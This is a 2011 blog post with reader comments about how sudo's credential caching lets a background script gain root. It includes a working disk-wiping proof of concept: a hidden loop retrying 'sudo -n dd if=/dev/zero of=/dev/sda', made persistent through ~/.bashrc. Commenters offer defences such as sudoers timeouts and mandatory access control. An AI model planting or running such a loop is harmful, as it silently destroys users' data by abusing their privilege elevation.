Jarmo Pertman
04 Mar 2011

Is Linux As Secure As You Think?

When working in environments where Linux and Windows operating systems are used together you have probably encountered discussions in the lines of “which one is more secure?“.

One of the frequent statements which will be thrown out during these discussions will be something in the lines of “Linux is more secure because you’re not having administrator rights all the time and you will sudo only when it is really needed!“. And all Windows users just give up without going forward with this crap. Today, Windows Vista/7 also have similar feature called UAC which asks for administrative privileges every time when it is really needed. One could say that it makes Windows as secure as Linux. I’m not agreeing with that statement either - i think that the same feature is actually less secure in Linux as it is in Windows.

Wait, What?!?

Yes, that is my honest opinion and i didn’t write it accidentally. Just let me demonstrate that issue. By having sudo rights i can do “everything” on my Linux box (i’m using Ubuntu Linux for the commands in this post). One of the things i could do would be to zero out the drive so i’d just lose all the data :


dd if=/dev/zero of=/dev/sda

Wouldn’t that cause a nice and clean feeling? Well, not if someone else does it to your drive! You might be thinking now: “Thankfully it is not possible to run that command without sudo rights…“. Or isn’t it? Fortunately you’re right on this thing - it is not possible to run that command without sudo rights. But that’s just one side of the problem.

How To Use That Knowledge Against Me?

Let’s try to run that command without sudo rights first:


jarmo@jarmo-laptop:~$ dd if=/dev/zero of=/dev/sda
dd: opening `/dev/sda': Permission denied

Nice. Now, let’s try with sudo:


jarmo@jarmo-laptop:~$ sudo dd if=/dev/zero of=/dev/sda
[sudo] password for jarmo:

It asks for a password as expected. So if we don’t enter that password right now then we are safe. Okay, we could trick that user to enter a password at this moment to trigger that command, but it wouldn’t be that fun. Let’s try some different approach instead.

Avoid Asking Sudo Password

As it turns out from the man-page of sudo then it has a command line switch for preventing password prompt to appear:


-n The (non - interactive) option prevents sudo from prompting the
      user for a password. If a password is required for the command to
      run, sudo will display an error messages and exit.

Okay let’s try it:


jarmo@jarmo-laptop:~$ sudo -n dd if=/dev/zero of=/dev/sda
sudo: sorry, a password is required to run sudo
jarmo@jarmo-laptop:~$

Cool!

Creating The Malware

With knowing all that information it is possible to create some little script to use that against the Linux box. Let’s start by creating our cool application into ~/.cool-app.sh:


while [1]; do
  sudo -n dd if=/dev/zero of=/dev/sda 2>/dev/null
  sleep 1
done

I’ve just done a script which tries to run that command forever and ever until there’s sudo rights with additional redirection of all errors to /dev/null so i wouldn’t suspect anything.Let’s run that script now:


jarmo@jarmo-laptop:~$ chmod +x cool-app.sh 
jarmo@jarmo-laptop:~$ ./cool-app.sh &
[2] 21510
jarmo@jarmo-laptop:~$

There you have it. The script is running in the background without showing any errors to the user.

Let’s Start Your Engines

Let’s add our cool application to one of the places where it will be started up automatically when terminal is opened - ~/.bashrc:


jarmo@jarmo-laptop:~$ echo "~/.cool-app.sh &" >> .bashrc

Now, when you open up a new terminal window then that cool application will be started automatically in the background without you even knowing it. Cool, eh?It’s going to get even cooler! Just use your terminal as you use it every day. If you’re so called expert Linux user then you have it opened all the time and of course you do something which needs sudo rights, right? For example, you’d like to install some other cool applications once in a while with apt-get install. Why not do it right now? When you have that script running in the background and you enter password for sudo then you will lose potentially all your data! That’s what i’d call cool if i’d do that to myself!

What’s The Problem?

The problem is in the way how Linux elevates privileges by sudo. When you enter the password for sudo then the current process and it’s subprocesses will be given sudo rights. That’s where the .cool-app.sh will get also sudo rights and will start with the process of destroying your very secure Linux box.The same process works a little bit differently in Windows - administrative privileges will be given to the specified process and it’s child processes, but not to the current process.

Conclusion

Did you notice that all the things i did in this post didn’t require me having any sudo rights? I hope you did, because that’s the main point - anyone determined enough can “install” that time-bomb to any Linux machine if having access to the file system in any way, maybe sending an e-mail with some attachment could help him/her out? There’s no need to worry about missing rights, because the user of that box will elevate those rights sooner or later. He or her could create some very sophisticated software instead of deleting everything from the machine - gather information, act as a zombie machine and so on. The possibilities depend on him/her imagination.Do you still feel secure behind your Linux? I wouldn’t.(PS! I’m a Windows user and don’t know many things about Linux - if there’s some good way to defend yourself against that “attack”, just let me know in the comments.)

Archived comment

Andrei Sosnin 2011-03-04T15:05:56.336Z

So, never run fishy scripts and binaries on Linux under a user with /sudo/ rights! This rule is universal and works even for Windows 98. :)What makes Linux more secure than Windows is that you don’t have to download so much from fishy warez sites to get that little bit of useful functionality to your system. Centralized, peer-reviewed repositories make it a bit more secure in this regard.

Aleksandr Motsjonov 2011-03-04T15:25:45.750Z

“if having access to the file system in any way” - is not enough. You have no access to anybodie’s home directory from any other. So if you have access to somebodies logged in account, it’s understandable, that you can make lot of damage.

Jarmo Pertman 2011-03-05T04:55:00.320Z

Thank you for your replies :)@Andrei: well, that’s unfortunately always not possible - what if that fishy binary needs sudo rights rightfully? I’m not sure that every commit is reviewed on every software bit you’re installing with apt-get install - i might be wrong of course and it could add some extra sense of security, but it’s not foolproof either. And there’s Java jars, Ruby gems, Python… well, you get the point. Then there’s e-mail, internet with Java Applets, Flash and a lot of running software with possible vulnerabilities with access to the local filesystem.@Aleksandr: point of this post was not to cause damage under your local account, but do something more. When i have just access to somebodie’s logged in account, i can’t do much outside of his account due to missing administrative rights so i can only cause a mess related with his/her account. Also read my reply to Andrei about pointing out only few of the possible ways of getting access to your file system.

Erik 2011-03-11T23:47:40.829Z

I found a thread from ubuntu forums about the same issue: http://ubuntuforums.org/showthread.php?t=1045209 It turns out there is an easy solution for the paranoid: Edit the sudoers file by adding “,timestamp_timeout=0” to the end of the line “Defaults env_reset”.Now you have to type in your password every time you want to use sudo.

Leone 2011-03-26T15:17:12.648Z

Use grsecurity.net and you can sleep well…

Elmet 2011-03-26T18:21:26.040Z

Normally, I don’t use ‘sudo’. Now what?

Erki 2011-04-18T07:17:33.441Z

I am not a sudo user and I am a bit surprised, that there is an option like this. I think this option should be renamed as “give_all_my_processes_a_possibility_to_get_root_privileges_for_x_minutes” and after that I can’t see a reason, why anyone would ever like to turn it on.I also think, that the title of this post is misleading, because the post is really about “Is Sudo Configuration Options As Secure As You Think?”

Jarmo Pertman 2011-04-18T07:42:29.513Z

@Erik: the fact that you’re not a sudo user doesn’t mean that the problem doesn’t exist. Every installation of Ubuntu creates the user as a sudo user for example.If the title would have been as you suggested it, then you wouldn’t had probably read it :) Catchy titles are better. And on top of that, this default configuration affects the security of Linux, so it’s not totally misleading either.

Erki 2011-04-18T08:11:50.817Z

@Jarmo: Where exactly did I say, that problem does not exist? On the contrary, I think that this is a serious problem and such configuration options should not even be available in security critical software.But you are right about catchy title. I probably wouldn’t have read the article if the title had mentioned a software I didn’t use.

Pjotr Savitski 2011-04-20T20:56:07.003Z

I might be mistaken as hell, but by default some fishy shell script does not have execution rights from the get-go, ne would need to do the “chmod +x” to get that up-and-running.

Jarmo Pertman 2011-04-22T06:56:05.195Z

Pjotr: I don’t understand what’s the point of your statement, since “chmod +x” can be run without needing sudo rights. In other words, it doesn’t add any additional security to the specified problem.

Sudo Rights 2011-04-24T17:24:47.726Z

What’s The Problem?The problem is that everyone (security conscious) has sudo aliased to “sudo -k”…

Jarmo Pertman 2011-04-25T10:32:12.022Z

And where’s the problem when every security conscious person has sudo aliased to “sudo -k”? Oh right, the problem is that this is not the default behavior…

Jarmo Pertman 2011-04-26T12:30:30.560Z

Also, what keeps my script to unalias sudo? :) Again, no sudo rights are needed to do that…

dimir 2011-08-12T08:49:26.605Z

Not again… Please, do not judge about GNU/Linux based on Ubuntu. On a sane distro you have sudoers file empty and it’s the system maintainer’s fault if he doesn’t know how to properly setup sudoers file. Besides, your example shows what a user that has rights to use sudo directly can do to the system using some crazy approach. So I don’t get the idea of your example. If you’d give such an example that a user not having sudo rights does that to the system that would be different. So far this post is total bs.

Jarmo Pertman 2011-08-13T13:32:21.320Z

Nice comment, missing totally the point. Again. Also, OS X behaves the same, for example, so it’s not only Ubuntu.The point of this post was in a really short sentence to show that in Linux (or Ubuntu, if that makes you comfortable) you can’t be sure that entering your sudo password is a safe thing to do compared to running always as a root. Having an empty sudoers file or not having any sudo rights at all is completely different topic and doesn’t have to do anything with this post or with this “attack vector”, sorry.

a.v. 2011-11-29T14:01:39.070Z

a. chattr +i .bashrc executed as root, it’s not a silver bullet but sure helps.b. Use something like http://cfv.sourceforge.net/ to validate your fs content.c. Use etckeeper to track changes made to config files.d. Use SELinux or AppArmor for mandatory access control.

Our recent stories